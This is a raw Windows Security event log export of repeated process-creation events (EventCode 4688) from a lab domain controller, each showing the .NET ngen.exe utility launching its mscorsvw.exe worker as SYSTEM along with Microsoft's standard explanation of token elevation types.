C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 420 -InterruptEvent 0 -NGENProcess 424 -Pipe 38c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254882 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5a0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3c4 -InterruptEvent 0 -NGENProcess 444 -Pipe 434 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254881 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3fc -InterruptEvent 0 -NGENProcess 408 -Pipe 420 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254880 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 404 -InterruptEvent 0 -NGENProcess 3c4 -Pipe 41c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254879 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa58 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 428 -InterruptEvent 0 -NGENProcess 420 -Pipe 414 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254884 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 450 -InterruptEvent 0 -NGENProcess 404 -Pipe 410 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254883 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe50 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 42c -InterruptEvent 0 -NGENProcess 440 -Pipe 3d0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254887 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe2c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3e0 -InterruptEvent 0 -NGENProcess 438 -Pipe 448 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254886 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13fc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3e0 -InterruptEvent 0 -NGENProcess 440 -Pipe 424 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254885 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 424 -InterruptEvent 0 -NGENProcess 3e0 -Pipe 40c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254890 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1120 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 418 -InterruptEvent 0 -NGENProcess 42c -Pipe 43c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254889 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc14 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 428 -InterruptEvent 0 -NGENProcess 438 -Pipe 470 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254888 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc78 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 464 -InterruptEvent 0 -NGENProcess 438 -Pipe 468 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254895 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10dc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 428 -InterruptEvent 0 -NGENProcess 444 -Pipe 460 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254894 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1124 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 46c -InterruptEvent 0 -NGENProcess 404 -Pipe 454 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254893 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1070 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 460 -InterruptEvent 0 -NGENProcess 404 -Pipe 418 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254892 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1308 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 458 -InterruptEvent 0 -NGENProcess 404 -Pipe 450 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:31 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254891 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 444 -InterruptEvent 0 -NGENProcess 450 -Pipe 3c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254899 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x139c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 490 -InterruptEvent 0 -NGENProcess 3e0 -Pipe 428 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:32 AM -LogName=Security -SourceName=Microsoft Windows 